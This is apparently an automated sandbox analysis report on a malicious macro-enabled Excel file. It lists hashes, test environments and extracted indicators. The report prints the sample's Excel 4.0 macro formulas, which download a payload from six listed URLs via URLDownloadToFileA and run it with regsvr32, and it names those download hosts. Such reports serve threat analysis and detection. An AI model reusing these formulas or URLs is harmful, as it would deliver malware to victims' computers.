General
-
Target
ab2480e6efe9a71a4ea8d59ba2d136d1480dc882a5fff3b093f2a3a4d1390492
-
Size
45KB
-
Sample
241111-vn74pa1mb1
-
MD5
f4cd9cc4a47236fe4c7678202d993958
-
SHA1
fad791b38a8bea2a5c637321cc5737c0b3a13798
-
SHA256
ab2480e6efe9a71a4ea8d59ba2d136d1480dc882a5fff3b093f2a3a4d1390492
-
SHA512
b1ba5e9bcf73eb2b9bf53cf3a3e2674c9667edcc2b87dcb5227fe0fe001b9da1dcd376f1fc9f12eef7cdd6a4bda044242550be26cc2d8d360ce916af7141344b
-
SSDEEP
768:0BXcCsqi1O3bQkzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+U60Us:0BXcC5iybdtT5fTR4Lh1NisFYBc3cr+A
Behavioral task
behavioral1
Sample
ab2480e6efe9a71a4ea8d59ba2d136d1480dc882a5fff3b093f2a3a4d1390492.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
ab2480e6efe9a71a4ea8d59ba2d136d1480dc882a5fff3b093f2a3a4d1390492.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://sorathlions.com/tmp/FlTSgo/
http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/
https://uzamart.com/indrawal/GZ7bN0V68oRpN7/
http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/
http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/
http://blog.centerking.top/wp-includes/PZ823VXII8/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/FlTSgo/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://uzamart.com/indrawal/GZ7bN0V68oRpN7/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://51.222.72.237/wp-includes/aF5qo4EV0Nr1vMGyHP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/7Hm58jhbiYSrd1TKvtG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/PZ823VXII8/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()
Extracted
http://sorathlions.com/tmp/FlTSgo/
http://www.ajaxmatters.com/c7g8t/vkw42Xr0hItVeGsaO9D/
Targets
-
-
Target
ab2480e6efe9a71a4ea8d59ba2d136d1480dc882a5fff3b093f2a3a4d1390492
-
Size
45KB
-
MD5
f4cd9cc4a47236fe4c7678202d993958
-
SHA1
fad791b38a8bea2a5c637321cc5737c0b3a13798
-
SHA256
ab2480e6efe9a71a4ea8d59ba2d136d1480dc882a5fff3b093f2a3a4d1390492
-
SHA512
b1ba5e9bcf73eb2b9bf53cf3a3e2674c9667edcc2b87dcb5227fe0fe001b9da1dcd376f1fc9f12eef7cdd6a4bda044242550be26cc2d8d360ce916af7141344b
-
SSDEEP
768:0BXcCsqi1O3bQkzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+U60Us:0BXcC5iybdtT5fTR4Lh1NisFYBc3cr+A
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-